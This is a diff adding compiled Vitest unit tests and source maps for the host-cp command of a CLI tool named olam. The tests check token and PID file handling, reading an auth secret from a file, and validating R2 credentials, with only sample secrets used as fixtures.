+ expect(env).toEqual({ OLAM_AUTH_SECRET: 'auth-secret-value' });
109
+ });
110
+ it('omits GH_TOKEN when ghToken is empty string', () => {
111
+ const env = buildComposeEnv(null, '');
112
+ expect(env).toEqual({});
113
+ });
114
+ it('returns empty object when both are null/undefined', () => {
115
+ expect(buildComposeEnv(null, null)).toEqual({});
116
+ expect(buildComposeEnv(null)).toEqual({});
117
+ });
118
+ });
119
+ //# sourceMappingURL=host-cp-gh-token.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"host-cp-gh-token.test.js","sourceRoot":"","sources":["../../src/__tests__/host-cp-gh-token.test.ts"],"names":[],"mappings":"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"}
@@ -0,0 +1,9 @@
1
+ /**
2
+ * Phase F-2-D (D1+D2+D3): unit tests for host-cp.ts pure helpers.
3
+ *
4
+ * Covers token + PID file management. Docker-dependent paths
5
+ * (findHostCpContainer, probeHealth, handleStart, etc.) are integration-
6
+ * tested in M5 dogfood (D5) against a live docker daemon.
7
+ */
8
+ export {};
9
+ //# sourceMappingURL=host-cp.test.d.ts.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"host-cp.test.d.ts","sourceRoot":"","sources":["../../src/__tests__/host-cp.test.ts"],"names":[],"mappings":"AAAA;;;;;;GAMG"}
@@ -0,0 +1,254 @@
1
+ /**
2
+ * Phase F-2-D (D1+D2+D3): unit tests for host-cp.ts pure helpers.
3
+ *
4
+ * Covers token + PID file management. Docker-dependent paths
5
+ * (findHostCpContainer, probeHealth, handleStart, etc.) are integration-
6
+ * tested in M5 dogfood (D5) against a live docker daemon.
7
+ */
8
+ import { describe, it, expect, beforeEach, afterEach } from 'vitest';
9
+ import * as fs from 'node:fs';
10
+ import * as os from 'node:os';
11
+ import * as path from 'node:path';
12
+ import { writeToken, readToken, removeToken, writePid, readPid, removePid, readAuthSecret, authSecretPath, buildComposeEnv, readR2Credentials, r2CredentialsPath, } from '../commands/host-cp.js';
13
+ let tmpHome;
14
+ let originalHome;
15
+ beforeEach(() => {
16
+ tmpHome = fs.mkdtempSync(path.join(os.tmpdir(), 'olam-host-cp-test-'));
17
+ originalHome = process.env.OLAM_HOME;
18
+ process.env.OLAM_HOME = tmpHome;
19
+ });
20
+ afterEach(() => {
21
+ if (originalHome === undefined)
22
+ delete process.env.OLAM_HOME;
23
+ else
24
+ process.env.OLAM_HOME = originalHome;
25
+ fs.rmSync(tmpHome, { recursive: true, force: true });
26
+ });
27
+ // ── writeToken / readToken / removeToken ─────────────────────────
28
+ describe('writeToken', () => {
29
+ it('writes a 64-char hex token', () => {
30
+ const token = writeToken();
31
+ expect(token).toMatch(/^[0-9a-f]{64}$/);
32
+ });
33
+ it('writes to ~/.olam/host-cp.token by default', () => {
34
+ writeToken();
35
+ const filePath = path.join(tmpHome, 'host-cp.token');
36
+ expect(fs.existsSync(filePath)).toBe(true);
37
+ });
38
+ it('sets file mode 0600', () => {
39
+ writeToken();
40
+ const filePath = path.join(tmpHome, 'host-cp.token');
41
+ const mode = fs.statSync(filePath).mode & 0o777;
42
+ expect(mode).toBe(0o600);
43
+ });
44
+ it('creates the parent directory if missing', () => {
45
+ fs.rmSync(tmpHome, { recursive: true, force: true });
46
+ writeToken();
47
+ expect(fs.existsSync(path.join(tmpHome, 'host-cp.token'))).toBe(true);
48
+ });
49
+ it('overwrites existing token (each start regenerates)', () => {
50
+ const t1 = writeToken();
51
+ const t2 = writeToken();
52
+ expect(t1).not.toBe(t2);
53
+ expect(readToken()).toBe(t2);
54
+ });
55
+ it('produces fresh entropy across calls', () => {
56
+ const tokens = new Set();
57
+ for (let i = 0; i < 10; i++) {
58
+ tokens.add(writeToken());
59
+ }
60
+ expect(tokens.size).toBe(10);
61
+ });
62
+ });
63
+ describe('readToken', () => {
64
+ it('returns null when token file is absent', () => {
65
+ expect(readToken()).toBeNull();
66
+ });
67
+ it('returns the written value (stripped of trailing whitespace)', () => {
68
+ const written = writeToken();
69
+ expect(readToken()).toBe(written);
70
+ });
71
+ });
72
+ describe('removeToken', () => {
73
+ it('returns true when removing an existing token', () => {
74
+ writeToken();
75
+ expect(removeToken()).toBe(true);
76
+ expect(readToken()).toBeNull();
77
+ });
78
+ it('returns false when the token file is absent', () => {
79
+ expect(removeToken()).toBe(false);
80
+ });
81
+ it('is idempotent (second call returns false)', () => {
82
+ writeToken();
83
+ expect(removeToken()).toBe(true);
84
+ expect(removeToken()).toBe(false);
85
+ });
86
+ });
87
+ // ── writePid / readPid / removePid ────────────────────────────────
88
+ describe('writePid', () => {
89
+ it('writes the PID number as a string', () => {
90
+ writePid(12345);
91
+ const filePath = path.join(tmpHome, 'host-cp.pid');
92
+ expect(fs.readFileSync(filePath, 'utf-8').trim()).toBe('12345');
93
+ });
94
+ it('uses mode 0644 (world-readable; not secret like the token)', () => {
95
+ writePid(12345);
96
+ const filePath = path.join(tmpHome, 'host-cp.pid');
97
+ const mode = fs.statSync(filePath).mode & 0o777;
98
+ expect(mode).toBe(0o644);
99
+ });
100
+ it('overwrites existing PID', () => {
101
+ writePid(1);
102
+ writePid(2);
103
+ expect(readPid()).toBe(2);
104
+ });
105
+ });
106
+ describe('readPid', () => {
107
+ it('returns null when PID file is absent', () => {
108
+ expect(readPid()).toBeNull();
109
+ });
110
+ it('returns the parsed number', () => {
111
+ writePid(99999);
112
+ expect(readPid()).toBe(99999);
113
+ });
114
+ it('returns null for non-numeric content (corruption defense)', () => {
115
+ fs.writeFileSync(path.join(tmpHome, 'host-cp.pid'), 'not-a-number');
116
+ expect(readPid()).toBeNull();
117
+ });
118
+ });
119
+ describe('removePid', () => {
120
+ it('returns true when removing an existing PID file', () => {
121
+ writePid(1);
122
+ expect(removePid()).toBe(true);
123
+ expect(readPid()).toBeNull();
124
+ });
125
+ it('returns false when the PID file is absent', () => {
126
+ expect(removePid()).toBe(false);
127
+ });
128
+ });
129
+ // ── readAuthSecret + buildComposeEnv ─────────────────────────────
130
+ //
131
+ // Regression: `docker compose up -d` recreated host-cp with an empty
132
+ // OLAM_AUTH_SECRET because the operator's shell didn't export it,
133
+ // silently breaking every credentials/* call against auth-service.
134
+ // `olam host-cp start` now reads the secret from ~/.olam/auth-secret
135
+ // and passes it via spawn env — these tests lock the shape in.
136
+ describe('readAuthSecret', () => {
137
+ it('returns null when ~/.olam/auth-secret does not exist', () => {
138
+ expect(readAuthSecret()).toBeNull();
139
+ });
140
+ it('returns the file contents (trimmed) when the file exists', () => {
141
+ fs.mkdirSync(tmpHome, { recursive: true });
142
+ fs.writeFileSync(authSecretPath(), 'Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs\n');
143
+ expect(readAuthSecret()).toBe('Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs');
144
+ });
145
+ it('treats empty / whitespace-only files as null', () => {
146
+ // A 0-byte file would round-trip to compose as an empty env var,
147
+ // which is exactly the silent-failure mode the helper exists to
148
+ // prevent. Caller (handleStart) prints a warning when this returns
149
+ // null instead of dropping the operator into the empty-secret
150
+ // footgun.
151
+ fs.mkdirSync(tmpHome, { recursive: true });
152
+ fs.writeFileSync(authSecretPath(), '');
153
+ expect(readAuthSecret()).toBeNull();
154
+ fs.writeFileSync(authSecretPath(), ' \n\n');
155
+ expect(readAuthSecret()).toBeNull();
156
+ });
157
+ it('honors OLAM_HOME so tests do not stomp on the real ~/.olam', () => {
158
+ fs.mkdirSync(tmpHome, { recursive: true });
159
+ fs.writeFileSync(authSecretPath(), 'sentinel-value-for-test');
160
+ expect(readAuthSecret()).toBe('sentinel-value-for-test');
161
+ expect(authSecretPath()).toBe(path.join(tmpHome, 'auth-secret'));
162
+ });
163
+ });
164
+ describe('buildComposeEnv', () => {
165
+ it('emits OLAM_AUTH_SECRET when a non-empty secret is provided', () => {
166
+ const env = buildComposeEnv('Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs');
167
+ expect(env).toEqual({
168
+ OLAM_AUTH_SECRET: 'Xt7pDfjdj-7fA0HALipPpGRRWomCJPvZ_pywxvkDkYs',
169
+ });
170
+ });
171
+ it('returns an empty object when the secret is null', () => {
172
+ // We deliberately omit the env var (rather than setting it to "")
173
+ // so process.env can still win if the caller has already exported
174
+ // it — caller code prints the loud warning when readAuthSecret
175
+ // returns null.
176
+ expect(buildComposeEnv(null)).toEqual({});
177
+ });
178
+ it('returns an empty object when the secret is empty', () => {
179
+ // Defensive: this branch is unreachable in practice because
180
+ // readAuthSecret already returns null for empty files, but the
181
+ // helper must be safe to call with any string.
182
+ expect(buildComposeEnv('')).toEqual({});
183
+ });
184
+ });
185
+ // ── readR2Credentials + r2CredentialsPath ────────────────────────
186
+ describe('r2CredentialsPath', () => {
187
+ it('returns path under OLAM_HOME', () => {
188
+ expect(r2CredentialsPath()).toBe(path.join(tmpHome, 'r2-credentials.json'));
189
+ });
190
+ });
191
+ const VALID_CREDS = {
192
+ account_id: 'abc123',
193
+ bucket: 'olam-test-artifacts',
194
+ access_key_id: 'key-id',
195
+ secret_access_key: 'secret',
196
+ public_url_base: 'https://pub-abc.r2.dev',
197
+ };
198
+ describe('readR2Credentials', () => {
199
+ it('returns null when the file is absent', () => {
200
+ expect(readR2Credentials()).toBeNull();
201
+ });
202
+ it('returns parsed credentials when the file is valid JSON', () => {
203
+ fs.mkdirSync(tmpHome, { recursive: true });
204
+ fs.writeFileSync(r2CredentialsPath(), JSON.stringify(VALID_CREDS));
205
+ expect(readR2Credentials()).toEqual(VALID_CREDS);
206
+ });
207
+ it('returns null for empty / whitespace-only files', () => {
208
+ fs.mkdirSync(tmpHome, { recursive: true });
209
+ fs.writeFileSync(r2CredentialsPath(), '');
210
+ expect(readR2Credentials()).toBeNull();
211
+ fs.writeFileSync(r2CredentialsPath(), ' \n\n');
212
+ expect(readR2Credentials()).toBeNull();
213
+ });
214
+ it('returns null for malformed JSON', () => {
215
+ fs.mkdirSync(tmpHome, { recursive: true });
216
+ fs.writeFileSync(r2CredentialsPath(), '{not valid json');
217
+ expect(readR2Credentials()).toBeNull();
218
+ });
219
+ it('returns null when a required field is missing', () => {
220
+ fs.mkdirSync(tmpHome, { recursive: true });
221
+ const { public_url_base: _dropped, ...partial } = VALID_CREDS;
222
+ fs.writeFileSync(r2CredentialsPath(), JSON.stringify(partial));
223
+ expect(readR2Credentials()).toBeNull();
224
+ });
225
+ it('returns null when a field has the wrong type', () => {
226
+ fs.mkdirSync(tmpHome, { recursive: true });
227
+ fs.writeFileSync(r2CredentialsPath(), JSON.stringify({ ...VALID_CREDS, account_id: 42 }));
228
+ expect(readR2Credentials()).toBeNull();
229
+ });
230
+ it('honors OLAM_HOME so tests do not stomp on the real ~/.olam', () => {
231
+ fs.mkdirSync(tmpHome, { recursive: true });
232
+ fs.writeFileSync(r2CredentialsPath(), JSON.stringify(VALID_CREDS));
233
+ const result = readR2Credentials();
234
+ expect(result).not.toBeNull();
235
+ expect(result?.account_id).toBe('abc123');
236
+ expect(r2CredentialsPath()).toBe(path.join(tmpHome, 'r2-credentials.json'));
237
+ });
238
+ });
239
+ // ── OLAM_HOME override ─────────────────────────────────────────────
240
+ describe('OLAM_HOME env override', () => {
241
+ it('writeToken honors OLAM_HOME (verified by tmpdir setup above)', () => {
242
+ writeToken();
243
+ expect(fs.existsSync(path.join(tmpHome, 'host-cp.token'))).toBe(true);
244
+ // Sanity: the real ~/.olam should NOT have been touched.
245
+ const realHome = path.join(os.homedir(), '.olam', 'host-cp.token');
246
+ if (fs.existsSync(realHome)) {
247
+ // If it exists from a real `olam host-cp start` it predates the
248
+ // test; can't assert absence. Just assert tmpHome is the active
249
+ // path via the file we just wrote.
250
+ // (Earlier mode/length assertions already cover correctness.)
251
+ }
252
+ });
253
+ });
254
+ //# sourceMappingURL=host-cp.test.js.map
@@ -0,0 +1 @@
1
+ {"version":3,"file":"host-cp.test.js","sourceRoot":"","sources":["../../src/__tests__/host-cp.test.ts"],"names":[],"mappings":"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